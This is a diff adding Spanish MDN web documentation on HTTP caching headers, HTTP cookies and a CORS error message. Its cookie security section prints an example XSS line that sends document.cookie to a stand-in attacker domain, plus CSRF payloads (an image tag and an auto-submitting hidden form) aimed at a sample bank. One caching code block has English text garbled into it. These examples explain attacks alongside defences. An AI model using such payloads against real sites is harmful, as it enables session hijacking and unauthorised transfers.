+<h3 id="El_encabezado_Cache-control">El encabezado <code>Cache-control</code></h3>
+
+<p>El {{HTTPHeader("Cache-Control")}} HTTP/1.1 general-header campo se utiliza para indicar directivas para los mecanismos de caché tanto en solicitudes (requests) como en respuestas (response). <span class="tlid-translation translation"><span title="">Utiliza este encabezado para definir tus políticas de almacenamiento en caché con la variedad de directivas que proporciona.</span></span></p>
+
+<h4 id="No_almacenar_caché_en_absoluto">No almacenar caché en absoluto</h4>
+
+<p><span class="tlid-translation translation"><span title="">El caché no debe almacenar nada sobre la solicitud del cliente o la respuesta del servidor.</span> <span title="">Se envía una solicitud al servidor y se descarga una respuesta completa cada vez.</span></span></p>
+
+<pre>Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h4 id="Sin_almacenamiento_en_caché">Sin almacenamiento en caché</h4>
+
+<p><span class="tlid-translation translation"><span title="">Un caché enviará la solicitud al servidor de origen para su validación antes de liberar una copia en caché.</span></span></p>
+
+<pre>Cache-Control: no-cache</pre>
+
+<h4 id="Caché_publicas_y_privadas">Caché publicas y privadas</h4>
+
+<p>La directiva "public" indica que la respuesta puede ser almacenada en caché por cualquier caché. Esto puede ser útil, si las páginas con autentificación HTTP o códigos de estado de respuesta que normalmente no se pueden almacenar en caché, ahora deben almacenarse en caché.</p>
+
+<p>Por otro lado, la directiva "private" indica que la respuesta está dirigida a un solo usuario y no debe ser almacenada por un caché compartido. Un caché de navegador privado puede almacenar la respuesta en este caso.</p>
+
+<pre>Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Expiración">Expiración</h4>
+
+<p>La directiva más importante aquí es "<code>max-age=&lt;seconds&gt;</code>" que es la máxima cantidad de tiempo que un recurso será considerado nuevo. Contrariamente a {{HTTPHeader("Expires")}}, esta directiva es relativa al momento de la solicitud. Para los archivos de la aplicación que no cambiarán, generalmente se puede agregar almacenamiento en caché agresivo.Esto incluye archivos estáticos como imágenes, archivos CSS y archivos JavaScript, por ejemplo.</p>
+
+<p>Para más detalles, ver la sección Actualización más abajo.</p>
+
+<pre>Cache-Control: max-age=31536000</pre>
+
+<h4 id="Validación">Validación</h4>
+
+<p>Cuando se usa la directiva "<code>must-revalidate</code>", la caché debe verificar el estado de los recursos obsoletos antes de usarlos, los caducados no deben usarse. Para más detalles vea la sección  <a href="#Cache_validation">Validación</a>.</p>
+
+<pre>Cache-Cit is not specified for HTTP responses and is therefore not a reliable replacement for the general HTTP/1.1 <code>Cache-Control</code> header, although it does behave the same as <code>Cache-Control: no-cache</code>, if the <code>Cache-Control</code> header field is omitted in a request. Use <code>Pragma</code> only for backwards compatibility with HTTP/1.0 clientsontrol: must-revalidate</pre>
+
+<h3 id="La_cabecera_Pragma">La cabecera <code>Pragma</code></h3>
+
+<p>{{HTTPHeader("Pragma")}} es una cabecera HTTP/1.0, no se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo de confianza para el encabezado general de HTTP / 1.1 Cache-Control, aunque se comporta igual que Cache-Control: no-cache, si el campo del encabezado Cache-Control se omite en una solicitud. Utiliza Pragma solo para compatibilidad con versiones anteriores de clientes HTTP / 1.0</p>
+
+<h2 id="Actualización">Actualización</h2>
+
+<p>Una vez que un recurso se almacena en una caché, teóricamente podría ser servido por la caché para siempre. Las cachés tienen almacenamiento finito por lo que los elementos se eliminan periódicamente del almacenamiento. Este proceso se llama desalojo de caché. Por otro lado, algunos recursos pueden cambiar en el servidor, por lo que la memoria caché debe actualizarse. Como HTTP es un protocolo cliente-servidor, los servidores no pueden ponerse en contacto con cachés y clientes cuando cambia un recurso; tienen que comunicar un tiempo de caducidad para el recurso. Antes de este tiempo de expiración, el recurso está fresco; después de la fecha de caducidad, el recurso está obsoleto. Los algoritmos de desalojo a menudo privilegian recursos frescos sobre recursos obsoletos. Ten en cuenta que un recurso obsoleto no se desaloja ni se ignora; cuando la caché recibe una solicitud de un recurso obsoleto, reenvía esta solicitud con un {{HTTPHeader ("If-None-Match")}} para verificar si aún está fresco. Si es así, el servidor devuelve un encabezado {{HTTPStatus ("304")}} (No modificado) sin enviar el cuerpo del recurso solicitado, ahorrando algo de ancho de banda.</p>
+
+<p>Aquí hay un ejemplo de este proceso con un proxy de caché compartido:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>La vida útil de la frescura se calcula en base a varios encabezados. Si se especifica un encabezado "<code>Cache-control: max-age=N</code>", entonces el tiempo de frescura es igual a N. Si este encabezado no está presente, que es el caso más frecuente, se verifica si hay un encabezado {{HTTPHeader("Expires")}} presente. Si existe un encabezado <code>Expires</code>, entonces su valor menos el valor del encabezado {{HTTPHeader("Date")}} determina el tiempo de actualización. Finalmente si ninguno de los encabezados está presente, busca un encabezado {{HTTPHeader("Last-Modified")}}. Si este encabezado está presente, la vida útil de actualización es igual al valor del encabezado <code>Date</code> menos el valor del encabezado <code>Last-modified </code>dividido entre 10.<br>
+ El tiempo de expiración se calcula de la siguiente manera:</p>
+
+<pre>tiempoExpiración = tiempoResponsive + tiempoActualización - tiempoActual
+</pre>
+
+<p>donde <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">tiempoResponsive</span></font> es el tiempo en que se recibió la respuesta según el navegador.</p>
+
+<h3 id="Recursos_acelerados">Recursos acelerados</h3>
+
+<p>Cuanto más utilicemos los recursos en caché, mejor será la capacidad de respuesta y el rendimiento de un sitio web. Para optimizar esto, las buenas prácticas recomiendan establecer los tiempos de caducidad lo más lejos posible en el futuro. Esto es posible en los recursos que se actualizan regularmente o con frecuencia, pero es problemático para los recursos que rara vez se actualizan con poca frecuencia. Son los recursos que más se beneficiarían de los recursos de almacenamiento en caché, pero esto hace que sean muy difíciles de actualizar. Esto es típico de los recursos técnicos incluidos y vinculados desde cada página web: los archivos JavaScript y CSS cambian con poca frecuencia, pero cuando cambian, quieres que se actualicen rápidamente.</p>
+
+<p>Los desarrolladores web crearon una técnica que Steve Souders llamó revving. Los archivos actualizados con poca frecuencia se nombran de forma específica: en su URL, generalmente en el nombre del archivo, se agrega un número de revisión (o versión). De esa manera, cada nueva revisión de ese recurso se considera como un recurso en sí mismo que nunca cambia y puede tener un tiempo de vencimiento muy lejano en el futuro, generalmente un año o incluso más. Para tener las nuevas versiones, se deben cambiar todos los enlaces a ellas, es el inconveniente de este método: complejidad adicional que generalmente es atendida por la cadena de herramientas utilizada por los desarrolladores web. Cuando los recursos variables cambian con poca frecuencia, inducen un cambio adicional a los recursos a menudo variables. Cuando se leen, también las nuevas versiones de las otras.</p>
+
+<p>Esta técnica tiene un beneficio adicional: la actualización de dos recursos en caché al mismo tiempo no conducirá a la situación en la que la versión obsoleta de un recurso se usa en combinación con la nueva versión del otro. Esto es muy importante cuando los sitios web tienen hojas de estilo CSS o scripts JS que tienen dependencias mutuas, es decir, dependen entre sí porque se refieren a los mismos elementos HTML</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>La versión de revisión agregada a los recursos revisados ​​no necesita ser una cadena de revisión clásica como 1.1.3, o incluso un conjunto de números en crecimiento monótono. Puede ser cualquier cosa que evite colisiones, como un hash o una fecha.</p>
+
+<h2 id="Validación_de_caché">Validación de caché</h2>
+
+<p>La revalidación se activa cuando el usuario presiona el botón de recargar. También se activa en la navegación normal  si la respuesta en caché incluye el encabezado "<code>Cache-control: must-revalidate</code>". Otro factor son las preferencias de validación de caché en el panel de preferencias <code>Advanced-&gt;Cache</code>. Hay una opción para forzar una validación cada vez que se carga un documento.</p>
+
+<p>Cuando se alcanza el tiempo de caducidad de un documento almacenado en caché, se valida o se recupera nuevamente. La validación solo puede ocurrir si el servidor proporcionó un validador fuerte o un validador débil.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>El encabezado de respuesta {{HTTPHeader("ETag")}} es un valor de agente opaco al usuario que se puede usar como un validador fuerte. Esto significa que un agente de usuario HTTP, como el navegador, no sabe qué representa esta cadena  y no puede predecir cual sería su valor. Si el encabezado de ETag fue parte de la respuesta para un recurso, el cliente puede emitir un {{HTTPHeader("If-None-Match")}} en el encabezado de futuras solicitudes, para validar el recurso almacenado en caché.</p>
+
+<p>El encabezado de respuesta {{HTTPHeader("Last-Modified")}}  puede ser usado como un validador débil. Se considera débil porque solo tiene resolución de un segundo. Si el encabezado <code>Last-Modified</code> está presente en una respuesta, entonces el cliente puede emitir un encabezado de solicitud {{HTTPHeader("If-Modified-Since")}} para validar el documento almacenado en caché.</p>
+
+<p>Cuando se realiza una solicitud de validación, el servidor puede ignorar la solicitud y la respuesta de validación con un {{HTTPStatus(200)}} <code>OK</code>, o puede devolver {{HTTPStatus(304)}} <code>Not Modified</code> (con el cuerpo vacío) para indicar al navegador que use su copia en caché. La última respuesta también puede incluir encabezados que actualizan el tiempo de caducidad del documento almacenado en caché.</p>
+
+<h2 id="Varias_respuestas">Varias respuestas</h2>
+
+<p>El encabezado de respuesta {{HTTPHeader("Vary")}} determina cómo hacer coincidir los encabezados de solicitudes futuras para decidir si se puede usar una respuesta en caché en lugar se solicitar una nueva desde el servidor de origen.</p>
+
+<p>Cuando una caché recibe una solicitud que puede ser satisfecha por una respuesta en caché que tiene un campo de encabezado <code>Vary</code>, no debe usar esa respuesta a menos que todos los campos de encabezado dominados por el encabezado <code>Vary</code> coincidan tanto en la solicitud original (en caché) como en la nueva solicitud.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>Esto puede ser útil para servir contenido dinámicamente, por ejemplo. Cuando se utiliza el encabezado <code>Vary: User-Agent</code>, los servidores de almacenamiento en caché deben considerar al agente de usuario al decidir si se debe servir la página desde la memoria caché. Si distribuye contenido diferente a los usuarios móviles, puede ayudarlo a evitar que una memoria caché sirva erróneamente una versión de escritorio de su sitio para sus usuarios móviles. Además puede ayudar a Google y a otros motores de búsqueda a descubrir la versión móvil de una página, y también puede decirles que no se pretende ningún encubrimiento.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<p>Debido a que el valor del encabezado {{HTTPHeader("User-Agent")}} es diferente ("varía") para los clientes móviles y de escritorio, los cachés no se usarán para servir contenido móvil por error a los usuarios de escritorio o viceversa.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, una herramienta para comprobar los encabezados HTTP relacionados con el caché.</li>
+</ul>
diff --git a/files/es/web/http/cookies/index.html b/files/es/web/http/cookies/index.html
new file mode 100644
index 0000000000..e5f1a46037
--- /dev/null
+++ b/files/es/web/http/cookies/index.html
@@ -0,0 +1,240 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - Almacenamiento
+  - Articulo sobre Cookies
+  - Cookies
+  - Datos
+  - Desarrollo web
+  - HTTP
+  - JavaScript
+  - Navegador
+  - Petición
+  - Protocolos
+  - Servidor
+  - privacidad
+  - seguimiento
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Una cookie HTTP, </span>cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.</p>
+
+<p>Las cookies se utilizan principalmente con tres propósitos:</p>
+
+<dl>
+ <dt>Gestión de Sesiones</dt>
+ <dd>Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar</dd>
+ <dt>Personalización</dt>
+ <dd>Preferencias de usuario, temas y otras configuraciones</dd>
+ <dt>Rastreo</dt>
+ <dd>Guardar y analizar el comportamiento del usuario</dd>
+</dl>
+
+<p>Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> y <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+
+<div class="note">
+<div class="blockIndicator warning">
+<div class="blockIndicator note">
+<p>Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el <a href="https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector">Inspector de Almacenamiento</a> en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.</p>
+</div>
+</div>
+</div>
+
+<h2 id="Creando_cookies">Creando cookies</h2>
+
+<p>Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.</p>
+
+<h3 id="Los_encabezados_Set-Cookie_y_Cookie">Los encabezados <code>Set-Cookie</code> y <code>Cookie</code></h3>
+
+<p>El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:</p>
+
+<pre class="syntaxbox notranslate">Set-Cookie: &lt;nombre-cookie&gt;=&lt;valor-cookie&gt;</pre>
+
+<p>Este encabezado del servidor le dice al cliente que almacene una cookie.</p>
+
+<div class="note"><strong>Note:</strong> Aquí se explica como usar el encabezado <code>Set-Cookie</code> en varias aplicaciones del lado del servidor:
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<pre class="notranslate">HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[page content]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}.</p>
+
+<pre class="notranslate">GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Cookies_de_sesión">Cookies de sesión</h3>
+
+<p>La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva <code>Expires</code> o <code>Max-Age</code> . Sin embargo, los navegadores web pueden usar la <strong>restauración de sesiones</strong>, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.</p>
+
+<h3 id="Cookies_Permanentes">Cookies Permanentes</h3>
+
+<p>En lugar de expirar cuando el cliente se cierra, las <em>cookies permanentes</em> expiran en una fecha específica (<code>Expires</code>) o tras un periodo de tiempo específico (<code>Max-Age</code>).</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.</p>
+</div>
+
+<h3 id="Cookies_Secure_y_HttpOnly">Cookies <code>Secure</code> y <code>HttpOnly</code></h3>
+
+<p>Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con <code>Secure</code>, no debería almacenarse <em>nunca</em> información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (<code>http:</code>) no pueden establecer cookies con la directiva <code>Secure</code>.</p>
+
+<p>Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies <code>HttpOnly</code> son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag <code>HttpOnly</code>.</p>
+
+<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Alcance_de_las_cookies">Alcance de las cookies</h3>
+
+<p>Las directivas <code>Domain</code> y <code>Path</code> definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.</p>
+
+<p><code>Domain</code> especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el <a href="/en-US/docs/Web/API/Document/location">host del Document.location actual,</a> <strong>excluyendo subdominios</strong>. Si se especifica <code>Domain</code>, los subdominios son siempre incluidos.</p>
+
+<p>Por ejemplo, si se establece <code>Domain=mozilla.org</code>, las cookies se incluyen en subdominios como <code>developer.mozilla.org</code>.</p>
+
+<p><code>Path</code> indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.</p>
+
+<p>Por ejemplo, si se establece <code>Path=/docs</code> estas rutas coincidirán:</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Las cookies <code>SameSite</code> permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}).</p>
+
+<p>Las cookies <code>SameSite</code> son relativamente nuevas y <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">soportadas por los principales navegadores</a>.</p>
+
+<p>Aquí hay un ejemplo:</p>
+
+<pre class="notranslate"><code>Set-Cookie: key=value; SameSite=Strict</code></pre>
+
+<p>El atributo same-site puede tomar uno de los dos valores (case-insensitive):</p>
+
+<dl>
+ <dt><code>Strict</code></dt>
+ <dd>Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo <code>Strict</code>.</dd>
+ <dt><code>Lax</code></dt>
+ <dd>Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.</dd>
+</dl>
+
+<p>El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.</p>
+
+<h3 id="Acceso_desde_JavaScript_usando_Document.cookie">Acceso desde JavaScript usando <code>Document.cookie</code></h3>
+
+<p>También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag <code>HttpOnly</code> no está establecido, también se puede acceder a las cookies existentes desde JavaScript.</p>
+
+<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Tenga en cuenta las cuestiones de seguridad en la siguiente sección <a href="/en-US/docs/Web/HTTP/Cookies#Security">Seguridad</a>. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.</p>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<div class="note">
+<p>Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.</p>
+</div>
+
+<h3 id="Secuestro_de_session_y_XSS">Secuestro de session y XSS</h3>
+
+<p>Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación.</p>
+
+<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>El atributo cookie <code>HttpOnly</code> puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.</p>
+
+<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:</p>
+
+<pre class="brush: html notranslate">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga:</p>
+
+<pre class="notranslate">&lt;form action="https://bank.example.com/withdraw" method="POST"&gt;
+  &lt;input type="hidden" name="account" value="bob"&gt;
+  &lt;input type="hidden" name="amount" value="1000000"&gt;
+  &lt;input type="hidden" name="for" value="mallory"&gt;
+&lt;/form&gt;
+&lt;script&gt;window.addEventListener('DOMContentLoaded', (e) =&gt; { document.querySelector('form').submit(); }&lt;/script&gt;</pre>
+
+<p>Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:</p>
+
+<ul>
+ <li>Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se debería requerir una petición POST. Además los endpoints POST no debería aceptar la intercambiabilidad de aceptar peticiones GET con parametros en <em>query string</em></li>
+ <li>Un token CSRF debería ser incluido en cada elemento <code>&lt;form&gt;</code> mediante un input oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en una <em>cookie</em>). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo esperado.
+  <ul>
+   <li>Este método de protección recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este token debería ser regenerado en cada inicio de sesión.</li>
+  </ul>
+ </li>
+ <li>Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.</li>
+ <li>Debería de existir siempre un requerimiento de confirmación para cualquier acción delicada,.</li>
+ <li>Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve.</li>
+ <li>Para más prevención visita <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
+</ul>
+
+<h2 id="Tracking_and_privacy">Tracking and privacy</h2>
+
+<h3 id="Third-party_cookies">Third-party cookies</h3>
+
+<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p>
+
+<h3 id="EU_cookie_directive">EU cookie directive</h3>
+
+<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p>
+
+<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.</p>
+
+<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p>
+
+<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
+
+<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
+ <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsdidnotsucceed/index.html b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..78038c007b
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,48 @@
+---
+title: 'Reason: CORS request did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+tags:
+  - CORS
+  - CORSNoTuvoExito
+  - Consola
+  - Error
+  - HTTP
+  - HTTPS
+  - Messages
+  - Reasons
+  - Security
+  - solución de problemas
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox">Razón: La solicitud CORS no resultó exitosa
+</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>El pedido {{Glossary("HTTP")}} que hace uso de CORS falló porque la conexión HTTP falló a nivel red o protocolo. El error no está relacionado directamente con CORS, pero es un error de red fundamental de algún tipo</p>
+
+<p>En muchos casos, es causado por un complemento del navegador (Ej, un bloqueador de anuncios o un protector de privacidad) que bloquea la solicitud.</p>
+
+<p>Otras causas posibles:</p>
+
+<ul>
+ <li><span style="display: none;"> </span>Intentar acceder a un recurso <code>https</code> que tenga un certificado no válido, causará este error.</li>
+ <li>Intentar acceder a un recurso <code>http</code> desde una página con un origen <code>https</code> también causará este error.</li>
+ <li>A partir de Firefox 68, las páginas <code>https</code> no pueden acceder a <code>http://localhost</code>, aunque esto puede ser modificado por el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1488740">Error 1488740</a>.</li>
+ <li>El servidor no respondió a la solicitud actual (incluso si respondió la <a href="/es/docs/Glossary/Preflight_peticion">solicitud Preflight</a>. Un escenario podría ser un servicio HTTP en desarrollo que "entró en pánico" sin devolver ningún dato.<span style="display: none;"> </span></li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Errores CORS</a></li>
+ <li>Glosario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introducción a CORS</a></li>
+</ul>
